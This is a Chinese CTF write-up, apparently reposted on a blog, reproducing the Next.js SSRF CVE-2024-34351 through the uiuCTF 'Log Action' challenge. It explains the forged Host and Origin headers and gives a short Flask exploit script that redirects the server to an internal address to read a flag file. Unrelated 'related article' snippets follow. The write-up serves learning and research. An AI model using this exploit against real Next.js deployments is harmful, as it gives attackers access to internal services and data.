CVE-2024-34351 漏洞复现

CVE-2024-34351,由Next.js异步函数createRedirectRenderResult导致的SSRF。

影响版本:13.4.0<= Next.js < 14.1.1

参考文章:

Next.js Server-Side Request Forgery in Server Actions · CVE-2024-34351 · GitHub Advisory Database · GitHub

在 NextJS 应用中挖掘 SSRF (assetnote.io)

CVE-2024-34351|Next.js框架存在SSRF漏洞-腾讯云开发者社区-腾讯云 (tencent.com)

通过uiuCTF Log Action赛题复现,开题:

image-20240702042841986

点击之后是登录,正如题目描述,登录不起作用。

image-20240702042911958

给了源码,我们先看一看。docker里面给出了flag的位置,看到这个就知道多半不是RCE拿flag了。

image-20240702043046823

ts源码整体看下来没什么明显漏洞点,登录部分用户名是admin,密码是每次随机的16位数,这意味着不可能正常登录,而且正常登录后admin路由也不给flag。

image-20240702044126433

引用一下外国老哥在wp中所阐述的观点: Log4J RCE(远程代码执行)漏洞,它让我意识到我们都使用的所有库和模块都可能存在潜在危险。

CVE-2024-34351简述一下就是由于Next.js代码漏洞引起的,,当我们调用服务器操作并响应重定向时,它会调用异步函数createRedirectRenderResult

在附件文件log-action\frontend\src\app\logout\page.tsx,确实用到了Next.js并且进行了路由跳转

image-20240702045039903

抓一下注销时候的包

image-20240702045159668

根据老哥的源代码分析,我们可以通过HOST头来控制跳转的,因为有检查 CSRF 攻击的防御手段,所以我们还需要同步更新Origin。服务器开启监听,收到请求!

image-20240702045714993

image-20240702045915007

OK到这里SSRF已经验证了,接下来就是重定向到内网拿flag。

接下来就是SSRF拿flag的事情了,直接跳到拿flag还是跨度挺大的,中间还有一些分析,感兴趣的话可以去看看国外老哥写的文章:Log Action | Siunam’s Website (siunam321.github.io)

在安装完docker,启动容器时,docker会为容器默认分配一个容器子网,一般为172.17.0.0/24

但是这里后端服务的内部IP地址是172.18.0.2

直接看利用,py脚本上传服务器,python起一个服务

image-20240702051528443

exp.py

from flask import Flask, request, Response, redirectapp = Flask(__name__)@app.route('/login')
def exploit():# CORS preflight checkif request.method == 'HEAD':response = Response()response.headers['Content-Type'] = 'text/x-component'return response# after CORS preflight checkelif request.method == 'GET':ssrfUrl = 'http://172.18.0.2/flag.txt'return redirect(ssrfUrl)if __name__ == '__main__':app.run(host='0.0.0.0', port=1717, debug=True)

image-20240702053503440

image-20240702053633311

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/web/43902.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

数据库Doris的手动分桶和自动分桶

在Doris中,分桶(Bucketing)是为了更好地管理和查询数据,将数据分成多个小的逻辑单元。分桶可以通过手动或自动的方式进行配置,每种方式各有其特点和适用场景。 Doris 支持两层的数据划分。第一层是分区(Partition),支持 Range 和 List 的划分方式。第二层是Bucket(Tab…

RK3568平台开发系列讲解(内存篇)Linux进程内存的消耗统计

🚀返回专栏总目录 文章目录 一、VSS(Virtual Set Size)二、RSS(Resident Set Size)三、PSS(Proportional Set Size)四、USS(Unique Set Size)五、其他工具Linux 提供了多种进程内存占用的度量指标, 它们反映了不同的内存使用特征: VSS 反映进程虚拟内存总需求, 包括未…

2.python条件语句与循环

1.概述 通过条件语句来判断&#xff0c;条件成立执行某些代码&#xff0c;条件不成立则不执行这些代码 2.if语句 if条件&#xff1a;条件成立执行的代码...... 下方代码没有缩进到if语句块&#xff0c;所以和if条件无关if…else if条件&#xff1a;条件成立执行的代码.....…

Nature Communications|柔性无感智能隐形眼镜(柔性传感/可穿戴电子/柔性电子)

南京大学徐飞(Fei Xu)、陆延青(Yanqing Lu)、陈烨(Ye Chen)和江苏省人民医院袁松涛(Songtao Yuan)团队,在《Nature Communications》上发布了一篇题为“Frequency-encoded eye tracking smart contact lens for human–machine interaction”的论文。论文内容如下: 一、 摘…

常见的load_file()读取的敏感信息

常见的load_file()读取的敏感信息 在编程中或者sql注入时&#xff0c;load_file() 函数通常用于读取文件内容&#xff0c;而敏感信息的泄露往往是由于不当的使用这个函数或缺乏足够的安全措施。下面是一些常见的敏感信息及其可能的具体位置&#xff1a; 配置文件&#xff1a; …

一起了解开发表单设计器的几大优势

实现提质、降本、增效的办公效率&#xff0c;可以随时来了解低代码技术平台、开发表单设计器。它们可视化操作界面、更灵活、好维护的优势特点&#xff0c;使得其在激烈的市场竞争中拥有更多强劲的市场竞争力&#xff0c;是提升办公效率的理想武器。今天&#xff0c;小编就向大…

BGP第二日

上图为今日所用拓扑 &#xff0c;其中R1和R4&#xff0c;R3和R5为EBGP邻居&#xff0c;R1和R3为IBGP邻居&#xff0c;AS200区域做OSPF动态路由 一.BGP建立邻居的六种状态 1.idle 空闲状态&#xff1a;建立邻居最初的状态 2.Connect 连接状态&#xff1a;在…

Linux 基础常用基础命令(CentOS7)-CSDN

常用查找端口命令 ps -ef | grep 端口号杀死对应端口 命令 kill -9 端口号Tomcat 执行 命令 并 打印日志 ./startup.sh && tail -f ../logs/catalina.out解压 对应文件命令 tar xf 相应文件重命名相应文件 重命名单个文件&#xff1a;将原文件名称作为源路径 mv ol…

第一关:Linux基础知识

Linux基础知识目录 前言LinuxInternStudio 关卡1. InternStudio开发机介绍2. SSH及端口映射2.1 什么是SSH&#xff1f;2.2 如何使用SSH远程连接开发机&#xff1f;2.2.1 使用密码进行SSH远程连接2.2.2 配置SSH密钥进行SSH远程连接2.2.3 使用VScode进行SSH远程连接 2.3. 端口映射…

Linux C embed development (personal rveiew)

1. 如何快速去bring up bcm 的wifi chipset a. 首先的确认 编译的BSP profile b. 其次要先用 default 的kernel config 去编译 c. 现在我们的一些 PCIE/GPIO/driver 总线的设置 都在dts 中&#xff0c;有错就去改dts 2. BCM 的板子bring up 注意事项 a. fw: bcm…

攻防世界 Web_python_template_injection(flask模版注入)

学习文章&#xff1a;https://www.freebuf.com/column/187845.html https://blog.csdn.net/weixin_54515836/article/details/113778233 flask的渲染方法有render_template和render_template_string两种。 render_template()是用来渲染一个指定的文件的。使用如下 return re…

自学第十五天----深入理解函数上

1. 函数是什么&#xff1f; 维基百科中对函数的定义&#xff1a; 子程序 在计算机科学中&#xff0c;子程序&#xff08;英语&#xff1a;Subroutine, procedure, function, routine, method, subprogram, callable unit&#xff09;&#xff0c;是一个大型程序中的某部分代码…

python怎么求因数

要想做到python语言求因数方法&#xff0c;首先要明白其中的原理&#xff1a; 1、对由123456789这九个数字组成的9位数进行分解质因数。 2、1234576982x3x3x7x13x23x29x113&#xff0c;所以他的值因数是113。 3、总共有362880种可能&#xff0c;从中找出值因数中最小的数字和…

一节课说明一类奥数题系列——约数与倍数

小学奥数-约数与倍数 约数和倍数&#xff1a;若整数 a 能够被 b 整除&#xff0c;a 叫做 b 的倍数&#xff0c;b 就叫做 a 的约数。 公约数&#xff1a;几个数公有的约数&#xff0c;叫做这几个数的公约数&#xff1b;其中最大的一个叫做这几 个数的最大公约数。a,b两数的最…

学生宿舍反限电插座控制功能

石家庄光大远通电气有限公司反限电插座功能的技术防止学生通过半波整流进行防止学生改变负载特性(阻性变为非阻性)的防止学生通过可控硅调压技术(进行功率调整达到使用目的)恶性负载限制次数设置:管理部门可以根据实际要求设定每个宿舍违规次数。达到本次数。系统自动锁定&…

【LeetCode】快乐数

目录 一、题目二、解法完整代码 一、题目 编写一个算法来判断一个数 n 是不是快乐数。 「快乐数」 定义为&#xff1a; 对于一个正整数&#xff0c;每一次将该数替换为它每个位置上的数字的平方和。 然后重复这个过程直到这个数变为 1&#xff0c;也可能是 无限循环 但始终变…

Linux:Ubuntu18.04下开机自启动QT图形化界面

Linux&#xff1a;Ubuntu18.04下开机自启动QT图形化界面 Chapter1 Linux&#xff1a;Ubuntu18.04下开机自启动QT图形化界面一、创建rc.local文件二、建立rc-local.service文件三、启动服务查看启动状态四、重启 Chapter2 将QT应用作为开机自启动&#xff08;Linux系统&#xff…

代码能力弱,编程思维几乎没有,有些勉强能看懂,让自己敲,一脸懵逼?

最近有几个人问我&#xff0c;说自己代码能力弱&#xff0c;编程思维几乎也没有&#xff0c;简单的代码&#xff0c;勉强能看懂&#xff0c;让自己敲&#xff0c;就一脸懵逼&#xff0c;下一步该怎么学习&#xff1f; 10几年前&#xff0c;这些问题&#xff0c;就像是一道道难以…

Redis数据结构和持久化

数据类型 String&#xff1a;Map<String,String> 命令格式 set key value(相同的key会覆盖&#xff09; get key incr key decr key setex key seconds value seconds秒后失效 ttl key del key setnx ke value(if not exist) 应用场景 计数器 比如&#xff1a;访问次…

1招搞定maven打包空间不足问题

目录 一、工具应用问题 二 、使用效果 三、使用方法 四、练习手段 一、工具应用问题 使用maven的package功能打包失败&#xff0c;报错“Java heap space”错误。 二 、使用效果 修改IDEA中maven内存使用大小后&#xff0c;打包成功。 三、使用方法 点击菜单“File->Set…